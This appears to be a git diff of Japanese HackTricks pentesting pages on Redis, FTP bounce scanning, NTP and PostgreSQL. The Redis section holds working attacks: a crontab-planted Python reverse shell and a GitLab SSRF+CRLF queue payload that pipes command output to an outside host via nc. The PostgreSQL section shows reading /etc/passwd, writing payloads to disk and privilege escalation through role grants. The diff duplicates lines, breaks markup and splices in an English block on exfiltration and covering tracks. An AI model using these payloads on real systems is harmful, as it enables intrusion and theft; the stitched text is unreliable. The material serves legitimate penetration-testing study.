OK
```
5. 最後に、プライベートキーを使用して **redisサーバー** にssh接続できます**ssh -i id\_rsa redis@10.85.0.52**
**このテクニックはこちらで自動化されています:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
@ -234,6 +262,7 @@ OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
```
最後の例はUbuntu向けですが、**Centos**向けには次のコマンドを使用する必要があります:`redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
この方法はビットコインを稼ぐためにも使用できます:[yam](https://www.v2ex.com/t/286981#reply14)
@ -253,6 +282,7 @@ OK
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
```
6. 必要に応じてモジュールをアンロードします:`MODULE UNLOAD mymodule`
### LUAサンドボックス回避
@ -266,6 +296,7 @@ Luaサンドボックスから脱出するためのいくつかの**CVE**
### マスタースレーブモジュール
マスターレディスでは、すべての操作が自動的にスレーブレディスに同期されるため、脆弱性のあるレディスをスレーブレディスと見なし、自分自身が制御するマスターレディスに接続し、自分自身のレディスにコマンドを入力できます。
```
master redis : 10.85.0.51 (Hacker's Server)
slave redis : 10.85.0.52 (Target Vulnerability Server)
@ -277,9 +308,11 @@ redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld
```
## RedisへのSSRF
Redisに**クリアテキスト**リクエストを送信できる場合、Redisと**通信**できます。Redisはリクエストを1行ずつ読み取り、理解できない行にはエラーを返すだけです。
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
@ -289,24 +322,29 @@ Redisに**クリアテキスト**リクエストを送信できる場合、Redis
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'
```
したがって、ウェブサイトで**SSRF vuln**を見つけ、いくつかの**ヘッダー**おそらくCRLF vulnを使用や**POSTパラメータ**を**制御**できる場合、Redisに任意のコマンドを送信できます。
### 例: Gitlab SSRF + CRLFからシェルへ
**Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]これにより127.0.0.1にアクセスされますの形式で任意のIPにアクセスできるようにし、**CRLF** vulnは**URL**に**%0D%0A**文字を追加することで悪用されました。
**Gitlab11.4.7**では、**SSRF**脆弱性と**CRLF**が発見されました。**SSRF**脆弱性は、新しいプロジェクトを作成する際の**URLからプロジェクトをインポートする機能**にあり、\[0:0:0:0:0:ffff:127.0.0.1]これにより127.0.0.1にアクセスされますの形式で任意のIPにアクセスできるようにし、**CRLF** vulnは**URL**に\*\*%0D%0A\*\*文字を追加することで悪用されました。
したがって、これらの脆弱性を悪用して、**gitlab**から**キューを管理する**Redisインスタンスに話しかけ、それらのキューを悪用して**コード実行を取得**することが可能でした。Redisキューの悪用ペイロードは次のとおりです
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
そして、`whoami`を実行し、出力を`nc`を介して送信するために、**SSRF**と**CRLF**を悪用した**URLエンコード**リクエストは次のとおりです:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_何らかの理由で情報提供元は[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)で、この情報はそこから取得されました)、この攻撃は `git` スキームではなく `http` スキームで動作しませんでした。_
_何らかの理由で情報提供元は_[_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/)_で、この情報はそこから取得されました、この攻撃は `git` スキームではなく `http` スキームで動作しませんでした。_
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
@ -321,4 +359,4 @@ _何らかの理由で情報提供元は[_https://liveoverflow.com/gitlab-11-
**最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
**[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう!**
[**Discord**](https://discord.com/invite/N3FrSbmwdy) **に参加して、今日からトップハッカーと協力を始めましょう!**

View file

@ -1,3 +1,5 @@
# FTP Bounce attack - Scan
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></summary>
@ -7,36 +9,34 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する。
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する。
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# FTP Bounce - スキャン
## FTP Bounce - スキャン
## マニュアル
### マニュアル
1. 脆弱なFTPに接続します
2. **`PORT`**または**`EPRT`**どちらか1つのみを使用して、スキャンしたい _\<IP:Port>_ と接続を確立します:
2. **`PORT`または`EPRT`**どちらか1つのみを使用して、スキャンしたい _\<IP:Port>_ と接続を確立します:
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
3. **`LIST`**を使用しますこれにより、FTPフォルダ内の現在のファイルリストが接続された _\<IP:Port>_ に送信されます)。可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します)
4. `LIST`の代わりに**`RETR /file/in/ftp`**を使用し、類似の`Open/Close`応答を探します。
`EPRT |2|172.32.80.80|8080|` 3. \*\*`LIST`**を使用しますこれにより、FTPフォルダ内の現在のファイルリストが接続された **_**\<IP:Port>**_** に送信されます)。可能な応答を確認します:`150 File status okay`(これはポートが開いていることを意味します)または`425 No connection established`(これはポートが閉じていることを意味します) 4. `LIST`の代わりに**`RETR /file/in/ftp`\*\*を使用し、類似の`Open/Close`応答を探します。
**PORT**を使用した例172.32.80.80のポート8080が開いており、ポート7777が閉じています
![](<../../.gitbook/assets/image (225).png>)
同じ例を**`EPRT`**を使用して(画像では認証が省略されています):
同じ例を\*\*`EPRT`\*\*を使用して(画像では認証が省略されています):
![](<../../.gitbook/assets/image (226).png>)
@ -44,19 +44,20 @@ HackTricksをサポートする他の方法
![](<../../.gitbook/assets/image (228).png>)
## **nmap**
### **nmap**
```bash
nmap -b <name>:<pass>@<ftp_server> <victim>
nmap -Pn -v -p 21,80 -b ftp:ftp@10.2.1.5 127.0.0.1 #Scan ports 21,80 of the FTP
nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the internal network (of the FTP) ports 21,22,445,80,443
```
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
@ -66,7 +67,7 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**してください。
</details>

View file

@ -1,4 +1,4 @@
# 123/udp - NTPのペンテスト
# 123/udp - Pentesting NTP
<details>
@ -9,12 +9,12 @@ HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*する。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
</details>
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
@ -27,26 +27,30 @@ HackTricksをサポートする他の方法:
**最新のアナウンス**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手する
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!
\*\*[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう!
## 基本情報
**ネットワークタイムプロトコルNTP**は、可変遅延ネットワーク全体のコンピュータやネットワークデバイスが時計を正確に同期させることを保証します。ITオペレーション、セキュリティ、およびログ記録において正確な時刻を維持するために重要です。NTPの正確性は不可欠ですが、適切に管理されていない場合はセキュリティリスクをもたらす可能性があります。
\*\*ネットワークタイムプロトコルNTP\*\*は、可変遅延ネットワーク全体のコンピュータやネットワークデバイスが時計を正確に同期させることを保証します。ITオペレーション、セキュリティ、およびログ記録において正確な時刻を維持するために重要です。NTPの正確性は不可欠ですが、適切に管理されていない場合はセキュリティリスクをもたらす可能性があります。
### 要約とセキュリティのヒント:
- **目的**: ネットワーク上でデバイスの時計を同期させる。
- **重要性**: セキュリティ、ログ記録、およびオペレーションにとって重要。
- **セキュリティ対策**:
- 認証付き信頼できるNTPソースを使用する。
- NTPサーバーのネットワークアクセスを制限する。
- 不正操作の兆候を監視するために同期をモニタリングする。
* **目的**: ネットワーク上でデバイスの時計を同期させる。
* **重要性**: セキュリティ、ログ記録、およびオペレーションにとって重要。
* **セキュリティ対策**:
* 認証付き信頼できるNTPソースを使用する。
* NTPサーバーのネットワークアクセスを制限する。
* 不正操作の兆候を監視するために同期をモニタリングする。
**デフォルトポート:** 123/udp
```
PORT STATE SERVICE REASON
123/udp open ntp udp-response
```
## 列挙
```bash
ntpq -c readlist <IP_ADDRESS>
ntpq -c readvar <IP_ADDRESS>
@ -60,6 +64,7 @@ ntpdc -c sysinfo <IP_ADDRESS>
```bash
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
```
## 設定ファイルを調査する
* ntp.conf
@ -70,15 +75,18 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
**NTPプロトコル**はUDPを使用し、TCPのようなハンドシェイク手順を必要とせずに動作することができます。この特性は**NTP DDoS増幅攻撃**で悪用されます。攻撃者は偽のソースIPを持つパケットを作成し、攻撃リクエストが被害者から来たかのように見せかけます。これらのパケットは最初は小さく、NTPサーバーには遥かに大きなデータ量で応答するよう促し、攻撃を増幅させます。
**_MONLIST_**コマンドはほとんど使用されないものの、NTPサービスに接続した最後の600クライアントを報告できます。コマンド自体は単純ですが、このような攻撃での誤用は重大なセキュリティの脆弱性を浮き彫りにします。
_**MONLIST**_コマンドはほとんど使用されないものの、NTPサービスに接続した最後の600クライアントを報告できます。コマンド自体は単純ですが、このような攻撃での誤用は重大なセキュリティの脆弱性を浮き彫りにします。
```bash
ntpdc -n -c monlist <IP>
```
## Shodan
* `ntp`
## HackTricks自動コマンド
```
Protocol_Name: NTP #Protocol Abbreviation if there is one.
Port_Number: 123 #Comma separated if there is more than one.
@ -97,9 +105,10 @@ Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
@ -112,7 +121,7 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
**最新のアナウンスメント**\
最新のバグバウンティの開始や重要なプラットフォームのアップデートについて情報を得ましょう
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう!
[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力しましょう!
<details>
@ -123,7 +132,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com) を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする
* \*\*💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details>

View file

@ -1,9 +1,9 @@
# 5432,5433 - PostgreSQLのペンテスト
# 5432,5433 - Pentesting Postgresql
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -17,7 +17,7 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>
@ -27,11 +27,14 @@ HackTricksをサポートする他の方法
**PostgreSQL**は、**オープンソース**の**オブジェクトリレーショナルデータベースシステム**として説明されています。このシステムはSQL言語を利用するだけでなく、追加の機能で拡張します。その機能により、さまざまなデータ型や操作を処理できるため、開発者や組織にとって多目的な選択肢となっています。
**デフォルトポート:** 5432で、このポートがすでに使用されている場合、おそらく使用されていない次のポート5433の可能性が高いがPostgreSQLによって使用されます。
```
PORT STATE SERVICE
5432/tcp open pgsql
```
## 接続と基本的な列挙
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
@ -71,8 +74,9 @@ SELECT * FROM pg_extension;
# Get history of commands executed
\s
```
{% hint style="warning" %}
**`\list`**を実行すると、**`rdsadmin`**というデータベースが見つかった場合、**AWSのPostgreSQLデータベース**内にいることがわかります。
\*\*`\list`**を実行すると、**`rdsadmin`\*\*というデータベースが見つかった場合、**AWSのPostgreSQLデータベース**内にいることがわかります。
{% endhint %}
**PostgreSQLデータベースを悪用する方法**の詳細については、以下をチェックしてください:
@ -82,15 +86,18 @@ SELECT * FROM pg_extension;
{% endcontent-ref %}
## 自動列挙
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#postgresql)
### **ポートスキャン**
[**この研究**](https://www.exploit-db.com/papers/13084)によると、接続試行が失敗すると、`dblink`は`sqlclient_unable_to_establish_sqlconnection`例外をスローし、エラーの説明が含まれます。これらの詳細の例は以下にリストされています。
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
@ -99,20 +106,25 @@ password=secret
dbname=abc
connect_timeout=10');
```
* ホストがダウンしています
`詳細: サーバーに接続できませんでした: ホストへのルートがありません ホスト「1.2.3.4」でサーバーが実行され、ポート5678でTCP/IP接続を受け入れていますか`
* ポートが閉じています
```
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* ポートが開いています
```
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
```md
## PostgreSQL
@ -136,42 +148,47 @@ Once you have valid credentials or have successfully brute forced the login, you
After gaining access to the database, you can perform various post-exploitation activities such as exfiltrating data, creating backdoors, or escalating privileges. It is important to maintain stealth and cover your tracks to avoid detection.
```
```
DETAIL: FATAL: password authentication failed for user "name"
```
* ポートが開いているかフィルタリングされています
```
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
## 特権の列挙
### ロール
| ロールの種類 | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | ロールにはスーパーユーザー権限があります |
| rolinherit | ロールは自動的に、そのメンバーであるロールの権限を継承します |
| rolcreaterole | ロールは他のロールを作成できます |
| rolcreatedb | ロールはデータベースを作成できます |
| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます |
| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
| rolconnlimit | ログインできるロールに対して、この設定はこのロールが作成できる同時接続の最大数を設定します。-1 は制限なしを意味します。 |
| rolpassword | パスワードではなく(常に `********` として表示されます) |
| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合は null |
| ロールの種類 | |
| -------------- | ------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | ロールにはスーパーユーザー権限があります |
| rolinherit | ロールは自動的に、そのメンバーであるロールの権限を継承します |
| rolcreaterole | ロールは他のロールを作成できます |
| rolcreatedb | ロールはデータベースを作成できます |
| rolcanlogin | ロールはログインできます。つまり、このロールは初期セッション認証識別子として指定できます |
| rolreplication | ロールはレプリケーションロールです。レプリケーションロールはレプリケーション接続を開始し、レプリケーションスロットを作成および削除できます。 |
| rolconnlimit | ログインできるロールに対して、この設定はこのロールが作成できる同時接続の最大数を設定します。-1 は制限なしを意味します。 |
| rolpassword | パスワードではなく(常に `********` として表示されます) |
| rolvaliduntil | パスワードの有効期限(パスワード認証にのみ使用されます);有効期限がない場合は null |
| rolbypassrls | ロールはすべての行レベルセキュリティポリシーをバイパスします。詳細については[セクション 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)を参照してください。 |
| rolconfig | 実行時構成変数のロール固有のデフォルト |
| oid | ロールの ID |
| rolconfig | 実行時構成変数のロール固有のデフォルト |
| oid | ロールの ID |
#### 興味深いグループ
- **`pg_execute_server_program`** のメンバーであれば、プログラムを**実行**できます
- **`pg_read_server_files`** のメンバーであれば、ファイルを**読み取る**ことができます
- **`pg_write_server_files`** のメンバーであれば、ファイルを**書き込む**ことができます
* **`pg_execute_server_program`** のメンバーであれば、プログラムを**実行**できます
* **`pg_read_server_files`** のメンバーであれば、ファイルを**読み取る**ことができます
* **`pg_write_server_files`** のメンバーであれば、ファイルを**書き込む**ことができます
{% hint style="info" %}
Postgresでは、**ユーザー**、**グループ**、**ロール**は**同じ**です。それは単に、**どのように使用するか**と**ログインを許可するか**によります。
{% endhint %}
```sql
# Get users roles
\du
@ -215,7 +232,9 @@ CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### テーブル
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
@ -229,7 +248,9 @@ SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.ro
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
```
### 関数
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
@ -249,26 +270,32 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
```
## ファイルシステムのアクション
### ディレクトリとファイルの読み取り
この[**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)から、定義された**`DEFAULT_ROLE_READ_SERVER_FILES`**グループ(**`pg_read_server_files`**と呼ばれる)のメンバーや**スーパーユーザ**は、任意のパスで**`COPY`**メソッドを使用できます(`genfile.c`の`convert_and_check_filename`をチェックしてください)。
この[**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a)から、定義された\*\*`DEFAULT_ROLE_READ_SERVER_FILES`**グループ(**`pg_read_server_files`**と呼ばれる)のメンバーや**スーパーユーザ**は、任意のパスで**`COPY`\*\*メソッドを使用できます(`genfile.c`の`convert_and_check_filename`をチェックしてください)。
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
スーパーユーザーではないが、**CREATEROLE** 権限を持っている場合、**そのグループのメンバーに自分を追加できます:**
```sql
GRANT pg_read_server_files TO username;
```
[**詳細情報**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
**他のPostgres関数**を使用して**ファイルを読み取るかディレクトリをリストする**ことができます。これらを使用できるのは**スーパーユーザー**と**明示的な権限を持つユーザー**だけです。
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
@ -292,21 +319,24 @@ SHOW data_directory;
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
You can find **more functions** in [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)
### シンプルなファイル書き込み
copyを使用してファイルを書き込むには、**スーパーユーザ**と**`pg_write_server_files`**のメンバーのみが使用できます。
copyを使用してファイルを書き込むには、**スーパーユーザ**と\*\*`pg_write_server_files`\*\*のメンバーのみが使用できます。
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
{% hint style="warning" %}
スーパーユーザーではないが**`CREATEROLE`**権限を持っている場合、**そのグループのメンバーに自分を追加できます:**
スーパーユーザーではないが\*\*`CREATEROLE`\*\*権限を持っている場合、**そのグループのメンバーに自分を追加できます:**
```sql
GRANT pg_write_server_files TO username;
```
[**詳細はこちら**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
@ -323,7 +353,7 @@ COPYは改行文字を処理できないため、ベース64ペイロードを
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大**$100,000**のバウンティを獲得しましょう!
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**です![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で参加し、最大\*\*$100,000\*\*のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
@ -339,19 +369,18 @@ PostgreSQLサーバーファイルを読み書きする必要な権限がある
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**注意:** 設定から現在のデータディレクトリパスを取得できない場合は、`SELECT version()`クエリを使用して主要なPostgreSQLバージョンをクエリし、パスをブルートフォースしてください。PostgreSQLのUnixインストールでの一般的なデータディレクトリパスは`/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`です。一般的なクラスタ名は`main`です。
2. ターゲットテーブルに関連するファイルノードへの相対パスを取得する
**注意:** 設定から現在のデータディレクトリパスを取得できない場合は、`SELECT version()`クエリを使用して主要なPostgreSQLバージョンをクエリし、パスをブルートフォースしてください。PostgreSQLのUnixインストールでの一般的なデータディレクトリパスは`/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`です。一般的なクラスタ名は`main`です。 2. ターゲットテーブルに関連するファイルノードへの相対パスを取得する
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
